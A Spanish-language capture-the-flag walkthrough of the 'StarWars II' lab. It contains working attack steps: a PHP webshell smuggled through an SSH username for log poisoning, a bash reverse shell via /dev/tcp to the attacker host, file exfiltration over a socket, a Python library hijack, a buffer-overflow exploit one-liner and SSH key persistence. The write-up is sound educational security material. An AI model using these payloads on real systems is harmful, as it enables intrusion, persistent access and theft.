July 31, 2026
The Hackers Labs Writeup — StartWars II (Spanish)
A continuación, describo la guía de resolución del laboratorio de The Hackers Labs denominado “StartWars II”.

By David Prieto Montero (a.k.a Pyth0nK1d)
44 min read
Este laboratorio está catalogado con la dificultad "Profesional" y su autor es "dherediat".
ATENCIÓN
Las herramientas y técnicas utilizadas en la resolución de este laboratorio han sido ejecutadas en un entorno controlado. El autor de esta publicación no se hace responsable del mal uso que se haga de estas, ya que el objetivo final de esta publicación es transmitir conocimientos con fines éticos y educativos.
Resumen de contenido sobre este laboratorio
Tags: Análisis de código fuente (Source Code Analysis), Análisis de volcado de memoria (Memory Dump Analysis), C, Desbordamiento de búfer (Buffer Overflow), Desbordamiento de búfer, error por un byte (Buffer Overflow Off-by-one), Divulgación de información, Envenenamiento de logs (Log Poisoning), Flask, Inclusión de archivos locales (LFI), Inyección de plantillas del lado servidor (SSTI), LaTeX, Linux Kernel Module (LKM), Persistencia, PHP, Privilegios SUDO, Python, Rust, Secuestro de librería Python (Python Library Hijacking), Set User ID (SUID),WordPress
Antes de comenzar, se indica un resumen de contenido que se puede encontrar en esta guía:
- **Divulgación de información que permite identificar un parámetro GET vulnerable a inclusión de archivos locales. Gracias a este es posible realizar un envenenamiento de **logs que permite realizar el acceso inicial al sistema objetivo como el usuario
www-data. - Un privilegio SUDO mal configurado permite escalar privilegios directamente al usuario
han_solo. - Un privilegio SUDO mal configurado sobre un archivo que depende de una librería de Python no existente hace posible su secuestro, permitiendo así escalar privilegios directamente al usuario
chewbacca. - Un binario con el bit SUID habilitado junto a su código fuente accesible, permite analizar, detectar y explotar una vulnerabilidad de desbordamiento de búfer que sufre una de sus funciones. La explotación de esta vulnerabilidad permite acceder a otra función no accessible en el flujo normal del programa que permite la escalada directa al usuario
luke_skywalker. - El código fuente detectado sobre un módulo para el kernel de Linux permite descubrir una vulnerabilidad de desbordamiento de búfer Off-by-one, permitiendo compilar e instalar este módulo gracias a privilegios SUDO mal configurados, haciendo así posible tras explotar esta vulnerabilidad escalar privilegios directamente al usuario
roota través del kernel. - Identificación de otras curiosidades y escaladas de privilegios no directamente accesibles por vias convencionales, descubiertas tras realizar una enumeración durante la post-explotación del sistema objetivo.
- Varios recursos encontrados estrechamente relacionados con la historia que pretende contar el laboratorio sobre el universo de esta famosísima saga.
Aclaración sobre el uso de imágenes
Algunas imágenes utilizadas en esta publicación pertenecen a sus respectivos propietarios y se emplean únicamente con fines informativos, educativos o de análisis. No se reclama ningún derecho sobre ellas, y su presencia no es premeditada, ya que forman parte del material integrado en el laboratorio que se está documentando.
En caso de que algún titular considere que el uso de una imagen no es apropiado, puede solicitar su retirada. No obstante, será necesario justificar debidamente la propiedad o titularidad de la imagen antes de poder atender la solicitud correspondiente.
Reconocimiento inicial
Se inicia el reconocimiento mediante un ping a la máquina. Esto se hace por un lado para detectar que la máquina se encuentra accesible y por otro lado para poder detectar el sistema operativo mediante el TTL asignado.
ping -c 1 10.0.250.26ping -c 1 10.0.250.26
Se puede comprobar que el TTL asignado es 64, indicando que la máquina está accesible directamente sin ningún nodo intermediario y por otro lado que el sistema subyacente es GNU/Linux.
Una vez hecho esto, se realiza un reconocimiento de los servicios disponibles en dos fases. En la primera, se realiza un escaneo de todos los puertos TCP usando nmap para detectar en primera instancia cuales de ellos son accesibles (open), utilizando un escaneo TCP SYN.
sudo nmap -sS -p- --min-rate 1000 -n -Pn 10.0.250.26 -oN allPortssudo nmap -sS -p- --min-rate 1000 -n -Pn 10.0.250.26 -oN allPorts
En la segunda, se realiza un reconocimiento básico de los servicios subyacentes también mediante el uso de nmap. Esta vez, realizando dicha tarea de reconocimiento únicamente en los puertos detectados como abiertos.
nmap -sCV -p 21,22,80 -n -Pn 10.0.250.26 -oN servicesnmap -sCV -p 21,22,80 -n -Pn 10.0.250.26 -oN services
En este caso, se omite el escaneo de puertos UDP, ya que para esta máquina en particular no tiene ningún servicio relevante para llevar a cabo el ejercicio.
Acceso inicial (www-data)
En este caso se detecta que hay tres puertos abiertos:
- Puerto 21 (servicio FTP, vsftpd)
- Puerto 22 (servicio SSH, OpenSSH)
- Puerto 80 (servicio HTTP, Apache httpd)
Como se puede comprobar, según la salida de nmap, el puerto 21 expone un servidor FTP con posibilidad de conectarse de forma anónima. Por ello, se procede a descargar el contenido que se ofrece desde esta perspectiva para analizarse más detenidamente.
mkdir ftp; cd ftp
wget -q --recursive --no-parent ftp://10.0.250.26
tree
file 10.0.250.26/*mkdir ftp; cd ftp
wget -q --recursive --no-parent ftp://10.0.250.26
tree
file 10.0.250.26/*
Al parecer los archivos descargados parecen contener listados de elementos aleatorios o de cierta temática, lo que da a entender que pueden ser posibles wordlists personalizadas a utilizar dentro de este laboratorio. Por ello, se mantienen para más adelante.
cat escritos_sagrados_jedi_ahch_to | wc -l
cat illo_que_arte | wc -l
cat escritos_sagrados_jedi_ahch_to | head
cat illo_que_arte | headcat escritos_sagrados_jedi_ahch_to | wc -l
cat illo_que_arte | wc -l
cat escritos_sagrados_jedi_ahch_to | head
cat illo_que_arte | head
Al comprobar la salida de nmap sobre el puerto 80, se detecta que se intenta resolver un dominio que sugiere que pertenece a este laboratorio.
Para hacer que resuelva este dominio, es necesario añadir dicho dominio junto a la IP correspondiente en el archivo /etc/hosts de la máquina local, ya que parece estar aplicando virtual hosting basado en nombre para servirlo.
sudo mousepad /etc/hosts
10.0.250.26 starwars.thl (añadir esta linea y guardar los cambios)sudo mousepad /etc/hosts
10.0.250.26 starwars.thl (añadir esta linea y guardar los cambios)Al intentar resolverlo con el dominio, este parece mostrar una página con aspecto estelar que invita a comenzar una misión.
URL -> http://starwars.thlURL -> http://starwars.thl
Al pulsar en el botón "EMPEZAR MISIÓN", se inicia una animación cinematográfica que recuerda al inicio de las películas de una famosísima saga de las galaxias.
Como no siempre da tiempo a leer o capturar en imágenes todo lo que sale en este texto que se desplaza hacia el espacio, al revisar el código fuente de la página se puede extraer el texto completo, para que pueda ser leído con calma.
URL -> view-source:http://starwars.thlURL -> view-source:http://starwars.thl
Una vez termine de mostrar la animación, se redirige automáticamente a una página donde se indica que es el Halcón Milenario y que dentro se encuentran una serie de personajes (unos de la saga y otros no, pero igualmente conocidos), invitando a conocer más de cada uno pulsando en su cuadrícula correspondiente. Además, se invita a buscar y adivinar cual de ellos es diferente, lo cual se deja para más adelante.
URL -> http://starwars.thl/halcon_milenario/URL -> http://starwars.thl/halcon_milenario/
Tras comprobar la consola de las herramientas de desarrollador al haber revisado todos los personajes, se puede observar un mensaje que parece existir un parámetro GET extra para esta página, pero este no se especifica.
URL -> http://starwars.thl/halcon_milenario/?character=R2D2
...
character: R2D2
quizas no sea el unico parámetro de la query....URL -> http://starwars.thl/halcon_milenario/?character=R2D2
...
character: R2D2
quizas no sea el unico parámetro de la query....Tras probar diferentes wordlists (conocidas, existentes o generadas de forma personalizada con el contenido encontrado hasta el momento) no se detecta ningún parámetro que realice una operación diferente sobre la página.
Teniendo en cuenta que es un CTF temático es posible que el parámetro extra esperado pueda tener que ver con esta saga. Por ello, se le pide a un asistente de inteligencia artificial que genere una lista enorme de conceptos relacionados con esta saga siguiendo el formato que sigue el parámetro existente, teniendo en cuenta lo siguiente:
- El parámetro existente está todo en minúsculas y sin espacios.
- El parámetro existente está en inglés.
- La lista no debe limitarse únicamente a ubicaciones, personajes o nombres de objetos comunes. Debe contener cualquier concepto relacionado con este universo y debe aparecer en este formato.
- Los conceptos deberán extraerse de cualquier película, videojuego, evento_, merchandising_ o colección de la saga existente hasta la fecha para generar la lista.
Esto resulta en un listado de conceptos de importante tamaño en este formato en particular.
Nota importante: Esta lista es demasiado grande para incluirla en esta publicación, pero solicitándolo a un asistente de inteligencia artificial con las especificaciones indicadas anteriormente es posible que genere una lista quizá no idéntica pero si muy similar.
Nombre lista de conceptos generada: starwars-wordlist.txtNombre lista de conceptos generada: starwars-wordlist.txtAl probar a fuzzear** por nombres de parámetro utilizando la lista generada**, se puede comprobar que con uno en particular devuelve una respuesta diferente al resto.
ffuf -u "http://starwars.thl/halcon_milenario/?character=R2D2&FUZZ=/etc/passwd" -w "starwars-wordlist.txt" -fs 16695ffuf -u "http://starwars.thl/halcon_milenario/?character=R2D2&FUZZ=/etc/passwd" -w "starwars-wordlist.txt" -fs 16695
En la respuesta obtenida con el parámetro utilizado, se puede comprobar que incluye el contenido del archivo especificado, verificando que este parámetro es vulnerable a inclusión local de archivos (Local File Inclusion, LFI).
Además, es posible comprobar así los usuarios existentes del sistema.
URL -> view-source:http://starwars.thl/halcon_milenario/?character=R2D2&order66=/etc/passwdURL -> view-source:http://starwars.thl/halcon_milenario/?character=R2D2&order66=/etc/passwd
Una vez conocida esta vulnerabilidad, se procede a investigar que es posible extraer del sistema con el parámetro encontrado. Para ello, se recurre a la siguiente wordlist.
Referencia (LFI interesting files list): https://github.com/DragonJAR/Security-Wordlist/blob/main/LFI-WordList-Linux
Comando de descarga: wget -O LFI-WordList-Linux.txt https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/refs/heads/main/LFI-WordList-LinuxReferencia (LFI interesting files list): https://github.com/DragonJAR/Security-Wordlist/blob/main/LFI-WordList-Linux
Comando de descarga: wget -O LFI-WordList-Linux.txt https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/refs/heads/main/LFI-WordList-LinuxAl probar a fuzzear el valor del parámetro descubierto con esta lista, se pueden detectar un total de tres archivos accesibles, de los cuales uno de ellos puede ser de interés: auth.log
ffuf -u "http://starwars.thl/halcon_milenario/?character=R2D2&order66=FUZZ" -w "LFI-WordList-Linux.txt" -fs 16695ffuf -u "http://starwars.thl/halcon_milenario/?character=R2D2&order66=FUZZ" -w "LFI-WordList-Linux.txt" -fs 16695
Revisando el contenido del log detectado, parece encargarse de registrar cualquier actividad de autenticación y seguridad, ya que se detectan unos registros relacionados con el servidor SSH disponible a través del puerto 22.
URL -> view-source:http://starwars.thl/halcon_milenario/?character=R2D2&order66=/var/log/auth.log
...
<RECORTADO> TheHackersLabs-StarwarsII sshd[478]: Server listening on 0.0.0.0 port 22.
<RECORTADO> TheHackersLabs-StarwarsII sshd[478]: Server listening on :: port 22.URL -> view-source:http://starwars.thl/halcon_milenario/?character=R2D2&order66=/var/log/auth.log
...
<RECORTADO> TheHackersLabs-StarwarsII sshd[478]: Server listening on 0.0.0.0 port 22.
<RECORTADO> TheHackersLabs-StarwarsII sshd[478]: Server listening on :: port 22.
Al poder interactuar con el servicio SSH, es posible introducir información específica en este log, haciendo posible aprovechar este recurso para realizar un ataque de Log Poisoning y convertir este LFI en RCE.
En resumen, el Log Poisoning es una técnica en la que un atacante inserta código malicioso en archivos de registro como access.log o auth.log (como en este caso), normalmente mediante manipulación de la petición HTTP o intentos de autenticación. Si una aplicación web permite acceder o incluir ese archivo de log sin validación, el código inyectado puede ejecutarse en el servidor.
Para hacer esto, se intenta interactuar con el servicio SSH, utilizando en este caso un nombre de usuario que corresponda con una webshell escrita en PHP.
Después de realizar un par de intentos, se puede comprobar que la herramienta cliente de SSH devuelve el mismo error, bloqueando el intento de autenticación debido a caracteres no válidos en el nombre de usuario.
ssh '<?php system($_GET["cmd"]) ?>'@10.0.250.26
...
remote username contains invalid characters
ssh -l '<?php system($_GET["cmd"]) ?>' 10.0.250.26
...
remote username contains invalid charactersssh '<?php system($_GET["cmd"]) ?>'@10.0.250.26
...
remote username contains invalid characters
ssh -l '<?php system($_GET["cmd"]) ?>' 10.0.250.26
...
remote username contains invalid characters
Al investigar el código fuente del cliente SSH, resulta que es una validación interna que establece esta restricción, y que es posible saltarla utilizando un archivo de configuración para realizar la conexión en su lugar.
Referencia (Validación de nombre de usuario en cliente SSH): https://github.com/openssh/openssh-portable/blob/master/ssh.cReferencia (Validación de nombre de usuario en cliente SSH): https://github.com/openssh/openssh-portable/blob/master/ssh.c
Por lo que se establece este archivo de configuración de la siguiente forma.
# webshell_ssh_config
Host 10.0.250.26
User '<?php system($_GET["cmd"]) ?>'
HostName 10.0.250.26
Port 22# webshell_ssh_config
Host 10.0.250.26
User '<?php system($_GET["cmd"]) ?>'
HostName 10.0.250.26
Port 22Una vez creado, se utiliza para realizar intentos de autenticación contra el servicio SSH de forma que estos queden registrados en el log.
mousepad webshell_ssh_config -> (pegar y guardar la configuración creada)
cat webshell_ssh_config
ssh -F webshell_ssh_config 10.0.250.26
<introducir contraseña cualquiera 3 veces>mousepad webshell_ssh_config -> (pegar y guardar la configuración creada)
cat webshell_ssh_config
ssh -F webshell_ssh_config 10.0.250.26
<introducir contraseña cualquiera 3 veces>
De esta forma, la webshell inyectada a través del nombre de usuario queda registrada en el log, haciendo que al volver a cargarlo mediante el parámetro vulnerable a LFI se puedan ejecutar comandos utilizando el parámetro de la webshell.
Se consigue así ejecutar comandos bajo el contexto del usuario "www-data".
URL -> view-source:http://starwars.thl/halcon_milenario/?character=R2D2&order66=/var/log/auth.log&cmd=id
...
<RECORTADO> TheHackersLabs-StarwarsII sshd[478]: Server listening on 0.0.0.0 port 22.
<RECORTADO> TheHackersLabs-StarwarsII sshd[478]: Server listening on :: port 22.
<RECORTADO> TheHackersLabs-StarwarsII sshd[1033]: Invalid user pyth0nk1d from 10.0.250.20 port 40466
<RECORTADO> TheHackersLabs-StarwarsII sshd[1033]: Connection closed by invalid user pyth0nk1d 10.0.250.20 port 40466 [preauth]
<RECORTADO> TheHackersLabs-StarwarsII sshd[1047]: Invalid user uid=33(www-data) gid=33(www-data) groups=33(www-data)URL -> view-source:http://starwars.thl/halcon_milenario/?character=R2D2&order66=/var/log/auth.log&cmd=id
...
<RECORTADO> TheHackersLabs-StarwarsII sshd[478]: Server listening on 0.0.0.0 port 22.
<RECORTADO> TheHackersLabs-StarwarsII sshd[478]: Server listening on :: port 22.
<RECORTADO> TheHackersLabs-StarwarsII sshd[1033]: Invalid user pyth0nk1d from 10.0.250.20 port 40466
<RECORTADO> TheHackersLabs-StarwarsII sshd[1033]: Connection closed by invalid user pyth0nk1d 10.0.250.20 port 40466 [preauth]
<RECORTADO> TheHackersLabs-StarwarsII sshd[1047]: Invalid user uid=33(www-data) gid=33(www-data) groups=33(www-data)
Como es posible ejecutar comandos, también es posible acceder al sistema. Por ello, se establece un puerto a la escucha.
rlwrap nc -nvlp 1337rlwrap nc -nvlp 1337
A continuación se crea una consola inversa escrita en Bash, se codifica para que sea correctamente emitida a través de la URL y se ejecuta mediante el parámetro de la webshell.
urlencode '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.0.250.20/1337 0>&1"'
curl -s 'http://starwars.thl/halcon_milenario/?character=R2D2&order66=/var/log/auth.log&cmd=%2Fbin%2Fbash%20-c%20%22%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.250.20%2F1337%200%3E%261%22'urlencode '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.0.250.20/1337 0>&1"'
curl -s 'http://starwars.thl/halcon_milenario/?character=R2D2&order66=/var/log/auth.log&cmd=%2Fbin%2Fbash%20-c%20%22%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.250.20%2F1337%200%3E%261%22'
De esta forma se obtiene acceso inicial al sistema objetivo como el usuario "www-data".
whoami
id
hostnamewhoami
id
hostname
Por último, se actualiza la consola a una TTY usando Python para terminar con el acceso inicial.
tty -> (not a tty)
python3 --version
python3 -c 'import pty;pty.spawn("/bin/bash")'
tty -> (/dev/pts/0)tty -> (not a tty)
python3 --version
python3 -c 'import pty;pty.spawn("/bin/bash")'
tty -> (/dev/pts/0)
Escalada de privilegios (www-data -> han_solo)
Al listar los privilegios SUDO asignados, se puede comprobar que el usuario "www-data" puede ejecutar el comando "/usr/bin/php" como el usuario "han_solo" sin proporcionar contraseña. Esto viene definido de la siguiente forma tras listar sus privilegios:
- (han_solo) NOPASSWD: /usr/bin/php
sudo -lsudo -l
Comprobando este binario en GTFObins, se puede comprobar que existe una manera probada de aprovechar este binario para realizar operaciones aprovechando los privilegios asignados.
Referencia: https://gtfobins.org/gtfobins/php/#shellReferencia: https://gtfobins.org/gtfobins/php/#shell
En este caso, es posible abrir una consola interactiva como el usuario "han_solo" directamente.
sudo -u han_solo /usr/bin/php -r 'system("/bin/bash -i");'
whoami
id
hostnamesudo -u han_solo /usr/bin/php -r 'system("/bin/bash -i");'
whoami
id
hostname
Escalada de privilegios (han_solo -> chewbacca)
Al listar los privilegios SUDO asignados, se puede comprobar que el usuario "han_solo" puede ejecutar el archivo "/usr/local/bin/chewietranslator" como el usuario "chewbacca" sin proporcionar contraseña. Esto viene definido de la siguiente forma tras listar sus privilegios:
- (chewbacca) NOPASSWD: /usr/local/bin/chewietranslator
sudo -lsudo -l
Se detecta que este archivo solo se puede gestionar como el usuario "chewbacca" y por lo tanto desde este contexto solo es ejecutable mediante el privilegio SUDO asignado.
ls -al /usr/local/bin/chewietranslator
file /usr/local/bin/chewietranslatorls -al /usr/local/bin/chewietranslator
file /usr/local/bin/chewietranslator
Al investigar e interactuar con este archivo, se realizan un par de hallazgos.
El primero, tras ejecutarlo se obtiene un error que parece indicar que no es capaz de cargar un módulo en particular. Por el formato del error se descubre que depende una librería personalizado de Python para funcionar, haciendo a este potencialmente vulnerable secuestro de librería Python (Python Library Hijacking).
El segundo, más a modo de seguir la narrativa, se detectan una serie de recursos que continua con la parte asociada a la saga.
sudo -u chewbacca /usr/local/bin/chewietranslator
...
ModuleNotFoundError: No module named 'wookie_language'
ls -al /usr/local/bin
ls -al
cat me_la_suda
...
Regla número uno:
Nunca preguntes qué transportas.
Regla número dos:
Si el Imperio paga demasiado, corre.
Chewie dice que algún día acabaré muerto por aceptar trabajos estúpidos.
Probablemente tenga razón.
Pero mientras el Halcón siga volando,
aún tenemos una oportunidad.
Y sí… yo disparé primero.
Y sí… Me la suda.sudo -u chewbacca /usr/local/bin/chewietranslator
...
ModuleNotFoundError: No module named 'wookie_language'
ls -al /usr/local/bin
ls -al
cat me_la_suda
...
Regla número uno:
Nunca preguntes qué transportas.
Regla número dos:
Si el Imperio paga demasiado, corre.
Chewie dice que algún día acabaré muerto por aceptar trabajos estúpidos.
Probablemente tenga razón.
Pero mientras el Halcón siga volando,
aún tenemos una oportunidad.
Y sí… yo disparé primero.
Y sí… Me la suda.
El error detectado ocurre cuando Python intenta importar una librería que no detecta, principalmente al no estar instalada o no encontrarse en el path. Por ello, se crea una que inicie una consola Bash directamente al importarse.
echo 'import os;os.system("/bin/bash -i")' > /tmp/wookie_language.py
cd /tmp
ls -al wookie_language.py
cat wookie_language.pyecho 'import os;os.system("/bin/bash -i")' > /tmp/wookie_language.py
cd /tmp
ls -al wookie_language.py
cat wookie_language.py
Al ejecutar el archivo aprovechando los privilegios SUDO asignados, este importa la librería y ejecuta la consola Bash en el contexto del usuario "chewbacca", haciendo que se obtenga acceso directamente como este usuario.
sudo -u chewbacca /usr/local/bin/chewietranslator
whoami
id
hostnamesudo -u chewbacca /usr/local/bin/chewietranslator
whoami
id
hostname
Escalada de privilegios (chewbacca -> luke_skywalker)
Revisando el directorio principal del usuario "chewbacca" se detecta un binario con el bit SUID activo perteneciente al usuario "luke_skywalker" acompañado del código fuente escrito en C utilizado para generarlo.
ls -al
ls -al almacen_wookie
file almacen_wookie/*ls -al
ls -al almacen_wookie
file almacen_wookie/*
Al revisar el código fuente, se puede comprobar que la función "take_xwing_controls()" asigna el bit SUID en ejecución, iniciando además una consola Bash como el propietario del ejecutable (en este caso "luke_skywalker"). Sin embargo, esta función no es accesible mediante el flujo normal del programa.
Al continuar revisando, se detecta una función "bypass_hyperdrive()" que si que es accesible mediante el flujo normal del programa y que esta parece ser vulnerable a desbordamiento de búfer, debido al uso de la función memcpy(), permitiendo copiar al búfer más bytes de los que este permite almacenar.
cat almacen_wookie/hyperdrive.ccat almacen_wookie/hyperdrive.c
Antes de continuar, se transfiere el binario "hyperdrive" a la máquina local para analizarse más detenidamente. Primero se establece un puerto a la escucha.
nc -l -p 9000 > hyperdrivenc -l -p 9000 > hyperdrive
A continuación, se realiza la transferencia desde la máquina objetivo.
exec 3<>/dev/tcp/10.0.250.20/9000
cat /home/chewbacca/almacen_wookie/hyperdrive >&3exec 3<>/dev/tcp/10.0.250.20/9000
cat /home/chewbacca/almacen_wookie/hyperdrive >&3
Tras esperar un poco, se puede comprobar que la transferencia se ha realizado satisfactoriamente.
CTRL+C
ls -al hyperdrive
file hyperdriveCTRL+C
ls -al hyperdrive
file hyperdrive
En este caso, tras realizar la comprobación, parece que no tiene ninguna protección relevante establecida, lo que implica que la vulnerabilidad consiste en un Buffer Overflow** clásico (stack-based buffer overflow sin mitigaciones)**.
checksec --file=./hyperdrivechecksec --file=./hyperdrive
Para realizar la explotación, primero ejecuta el binario vulnerable utilizando "gdb" desde la máquina objetivo, ya que esta lo tiene instalado.
ls -al almacen_wookie
gdb almacen_wookie/hyperdrivels -al almacen_wookie
gdb almacen_wookie/hyperdrive
Para probar los limites de la entrada de texto libre ofrecida por este binario, primero se va a generar un patrón con una longitud determinada.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
A continuación, se manda esta cadena a través del binario tras seleccionar la opción que ejecuta la función vulnerable bypass_hyperdrive().
(gdb) r
...
1. Rummage through the workshop junk box (Search for spares)
2. Force-bypass the hyperdrive motivator (Inject raw payload)
> 2
[*] [Chewbacca]: *RAWRGWAARRGWWWR!!* (You wedge a stripped wire into the panel):
[!] [MECHANICS] Jamming the heavy gauge power line into the regulator...
[*] Copper relay status: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
[!] WARNING! High voltage is overflowing the Millennium Falcon's capacitor bank!
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Program received signal SIGSEGV, Segmentation fault.
0x000000000040136b in bypass_hyperdrive ()(gdb) r
...
1. Rummage through the workshop junk box (Search for spares)
2. Force-bypass the hyperdrive motivator (Inject raw payload)
> 2
[*] [Chewbacca]: *RAWRGWAARRGWWWR!!* (You wedge a stripped wire into the panel):
[!] [MECHANICS] Jamming the heavy gauge power line into the regulator...
[*] Copper relay status: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
[!] WARNING! High voltage is overflowing the Millennium Falcon's capacitor bank!
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Program received signal SIGSEGV, Segmentation fault.
0x000000000040136b in bypass_hyperdrive ()
Tras confirmar la existencia de la vulnerabilidad, se procede a detectar el offset para poder sobrescribir la dirección almacenada en el registro RIP. Tras probar, esta es remplazada por los 6 bytes especificados en la cadena generada junto con un offset de 72 bytes.
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
...
1. Rummage through the workshop junk box (Search for spares)
2. Force-bypass the hyperdrive motivator (Inject raw payload)
> 2
[*] [Chewbacca]: *RAWRGWAARRGWWWR!!* (You wedge a stripped wire into the panel):
[!] [MECHANICS] Jamming the heavy gauge power line into the regulator...
[*] Copper relay status: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3PPPPPP
[!] WARNING! High voltage is overflowing the Millennium Falcon's capacitor bank!
Program received signal SIGSEGV, Segmentation fault.
0x0000505050505050 in ?? ()(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
...
1. Rummage through the workshop junk box (Search for spares)
2. Force-bypass the hyperdrive motivator (Inject raw payload)
> 2
[*] [Chewbacca]: *RAWRGWAARRGWWWR!!* (You wedge a stripped wire into the panel):
[!] [MECHANICS] Jamming the heavy gauge power line into the regulator...
[*] Copper relay status: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3PPPPPP
[!] WARNING! High voltage is overflowing the Millennium Falcon's capacitor bank!
Program received signal SIGSEGV, Segmentation fault.
0x0000505050505050 in ?? ()
Para poder saltar a la función vulnerable, primero hay que conocer la dirección en la que esta se carga. Por ello, se revisa esta y se comprueba que la dirección es 4011e7. Se omite la dirección anterior ya que la función aún esta realizando operaciones para preparar la pila en esa posición.
objdump -d almacen_wookie/hyperdriveobjdump -d almacen_wookie/hyperdrive
En este punto, se crea un oneliner en Python que acceda a la función explotando este BoF. Hay que tener en cuenta que antes de pasar la carga útil, al ejecutar el binario debe seleccionarse la opción "2" dentro del flujo del programa para tener acceso a la función vulnerable y poder así inyectarlo.
Además, como se espera obtener una consola interactiva, se desarrolla utilizando la librería "pwn" para hacer que la explotación resulte en una sesión interactiva adecuada.
El oneliner desarrollado resultante es el siguiente:
import pwn;exploit=pwn.process('almacen_wookie/hyperdrive');exploit.sendline(b'2\n' + b'P'*72 + b'\xe7\x11\x40\x00\x00\x00\x00\x00');exploit.interactive()import pwn;exploit=pwn.process('almacen_wookie/hyperdrive');exploit.sendline(b'2\n' + b'P'*72 + b'\xe7\x11\x40\x00\x00\x00\x00\x00');exploit.interactive()El resultado de ejecutarlo (esta vez sin "gdb") termina en una consola interactiva bajo el contexto del usuario "luke_skywalker".
python3 -c "import pwn;exploit=pwn.process('almacen_wookie/hyperdrive');exploit.sendline(b'2\n' + b'P'*72 + b'\xe7\x11\x40\x00\x00\x00\x00\x00');exploit.interactive()"
...
=================================================================
[+] *CLACK* The coupler snaps into place under heavy blows!
[+] THE HYPERDRIVE MOTIVATOR RECONSTRUCTS VIA OVERLOAD!
=================================================================
[Chewbacca]: *¡¡WRAAAUUGHHH!!* (Translated: Direct current routed to external hangar!)
[Luke Skywalker]: "I copy you, Chewie! My fighter's systems just sparked to life."
[SYSTEM] Transferring tactical flight controls to: RED_FIVE (Luke Skywalker)
...
whoami
id
hostnamepython3 -c "import pwn;exploit=pwn.process('almacen_wookie/hyperdrive');exploit.sendline(b'2\n' + b'P'*72 + b'\xe7\x11\x40\x00\x00\x00\x00\x00');exploit.interactive()"
...
=================================================================
[+] *CLACK* The coupler snaps into place under heavy blows!
[+] THE HYPERDRIVE MOTIVATOR RECONSTRUCTS VIA OVERLOAD!
=================================================================
[Chewbacca]: *¡¡WRAAAUUGHHH!!* (Translated: Direct current routed to external hangar!)
[Luke Skywalker]: "I copy you, Chewie! My fighter's systems just sparked to life."
[SYSTEM] Transferring tactical flight controls to: RED_FIVE (Luke Skywalker)
...
whoami
id
hostname
Para obtener una consola más estable y aprovechando los privilegios de este usuario, se procede a establecer una persistencia a través de SSH.
Para ello, primero se genera un par de claves RSA en la máquina local y se hace disponible ambas a través de un servidor HTTP.
mkdir luke_ssh; cd luke_ssh
ssh-keygen -t rsa
Enter file in which to save the key (/home/pyth0nk1d/.ssh/id_rsa): ./id_rsa
...
ls -al id_rsa*
python3 -m http.server 80mkdir luke_ssh; cd luke_ssh
ssh-keygen -t rsa
Enter file in which to save the key (/home/pyth0nk1d/.ssh/id_rsa): ./id_rsa
...
ls -al id_rsa*
python3 -m http.server 80
A continuación, desde el contexto del usuario "luke_skywalker" se descarga la clave pública incluyendo esta como clave autorizada dentro de su directorio principal.
mkdir /home/luke_skywalker/.ssh
curl -o /home/luke_skywalker/.ssh/authorized_keys http://10.0.250.20/id_rsa.pub
ls -al /home/luke_skywalker/.sshmkdir /home/luke_skywalker/.ssh
curl -o /home/luke_skywalker/.ssh/authorized_keys http://10.0.250.20/id_rsa.pub
ls -al /home/luke_skywalker/.ssh
Una vez hecho esto es posible acceder como este usuario a través de SSH utilizando la clave privada generada.
ssh -i luke_ssh/id_rsa luke_skywalker@10.0.250.26
whoami
id
hostnamessh -i luke_ssh/id_rsa luke_skywalker@10.0.250.26
whoami
id
hostname
Escalada de privilegios (luke_skywalker -> root)
Revisando el directorio principal del usuario "luke_skywalker" se detecta nuevamente un binario con el bit SUID activo, esta vez perteneciente al usuario "root" acompañado del código fuente escrito en C utilizado para generarlo.
ls -al
file bespin*ls -al
file bespin*
